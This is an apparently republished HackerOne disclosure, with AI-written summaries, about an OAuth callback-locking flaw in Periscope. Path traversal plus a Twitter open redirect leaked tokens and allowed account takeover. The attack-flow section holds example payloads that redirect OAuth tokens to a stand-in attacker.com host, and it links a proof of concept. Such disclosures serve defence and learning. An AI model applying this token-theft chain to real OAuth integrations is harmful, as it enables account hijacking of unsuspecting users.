Insufficient OAuth callback validation which leads to Periscope account takeover
Periscope's OAuth callback locking accepted a bare path instead of a full URI, so a path-traversal value could redirect the victim to a Twitter open redirect and leak the OAuth token to the attacker. The attacker could then exchange the token for an access token and take over the victim's Periscope account, in some cases without user interaction.
Originally disclosed on HackerOne
- Triaged in 3 days
- Fixed in 18 months
- Paid in 3 days
- Disclosed after 3.2 years
Hi, I would like to report an issue in the Periscope Twitter application which allows attacker to circumvent the callback locking to takeover victim's Periscope account which is connected to a Twitter account.
#Detail In the mobile Periscope app, the consumer_key and consumer_secret for Twitter application are directly embedded into the app in order to facilitate the OAuth process. The key and secret are protected by obfuscation but it can be recovered by reverse engineering.
For reference this is the key and secret for Periscope:
CONSUMER_KEY: █████████
CONSUMER_SECRET: ███
In fact, the leakage of the key and secret pair is not a major security concern as Twitter provides the "Callback Locking" protection to prevent the callback_url to be overwritten during the Request Token phase.
Periscope does employ callback locking. However, the locking for Periscope is kind of special compared to normal applications (I guess this is only for Twitter's official applications). In short, it checks whether the protocol for callback_url can be used to leak the OAuth token to third parties. For example, https://, http://, ftp:// are forbidden, while twittersdk:// and whatever:// are allowed. The check is sufficient by itself. However, the check is under the assumption that the callback_url provided is a complete URI. In addition, it is discovered that it is possible to use only the path for callback_url and pass the test (e.g. a/../home is valid), and that allows the path to be traversed. Now, if an attacker can find an open redirector on Twitter, he/she can use that as callback_url to redirect victim with the OAuth token to attacker's control site.
The attack flow would look like this:
- Attacker uses the consumer key & secret to generate a request token
- Victim authorizes the Periscope app for the request token
- Victim is redirected to the open redirector with path traversal (e.g. /redirect?url=http://attacker.com#&oauth_token=...)
- Victim then lands on attacker controlled site with the token (http://attacker.com#&oauth_token=)
- Now the attacker gains the OAuth token from victim. He/she can use it to to exchange for access_token and logins victim's Periscope account.
(By the way, the URL fragment in step 3 is a common technique to preserve tokens during HTTP redirect which I really like)
And without surprise, such open redirect bug does exist. In the login page (https://twitter.com/login?redirect_after_login=), the redirect_after_login parameter can be specified to redirect users if they have logged in. There's a check in place which rejects any URL which is not belong to a Twitter subdomain (i.e. whitelist *.twitter.com). However, for Twitter ads one can make a generation card and set the fallback URL to any destination, and the URL for the card happens to be a Twitter subdomain (cards.twitter.com). So after all, attackers can first setup a generation card to redirect to attacker's controlled site, and use the card URL as redirect_after_login.
The redirection flow:
- callback_url = a/../../login?redirect_after_login=https://cards.twitter.com/card_id
- https://cards.twitter.com/card_id
- https://attacker.com
BAM BAM BAM
Now, Periscope has enabled "Login with Twitter", that means the user will automacially authorize the app for authentication if he/she has done that once before, attacker can abuse that to make the whole attack stealthy and without user interaction.
#PoC
- Prepare an Periscope account which is connected to a Twitter account, and make sure you have logged in Twitter as that account
- Go to https://twitter.com/attackerfoobar/status/686936815945789440
- Wait for a moment
- Your Periscope account will then be renamed as "Pwn3d"
In this PoC I embedded the payload in a player card to achieve maximum stealthiness, so that whenever the tweet arrives to victim's timeline the attack automatically triggers. You can also check out the standalone PoC here: https://innerht.ml/pocs/periscope-oauth-callback-hijack
Video demonstration: https://vimeo.com/151530694 (password: xauth)
#Fix Since the open redirect bug is more like a feature and may be many of them out there, I would suggest to improve the validation on the callback locking. For example, only allow the callback_url to be a complete URL should do the job.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the callback validation only checked the scheme of the supplied value and assumed it was a complete URI, so a relative path with traversal segments passed and was resolved against a Twitter host that offered an open redirect.
Impact
An attacker could take over a victim's Periscope account, and because of Login with Twitter the attack could be stealthy and require no user interaction.
What the attacker needed
Victim has a Periscope account linked to Twitter; attacker extracts the app key and secret; an open redirect exists on Twitter; victim may need to be logged in to Twitter
The fix
The callback validation should be tightened so that only a complete URL is accepted as the callback_url.
How it was found
- Generate a request token using the extracted consumer key and secret.
- Have the victim authorise the Periscope app for that request token.
- Send the victim to the open redirector with a traversed path so the token lands on the attacker's site.
- Extract the OAuth token from the fragment and exchange it for an access token.
- Use the access token to log in to the victim's Periscope account.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you log in to an app using another service, the service hands back a short-lived code called a token. The app must tell the service exactly where to send that token, and the service checks that address. Here the check was fooled by a partial address, so the token ended up at a site the attacker controlled.
What is OAuth / SSO?
Mistakes in OAuth, OpenID Connect, SAML or token handling that leak codes and tokens or link an attacker's identity to a victim's account.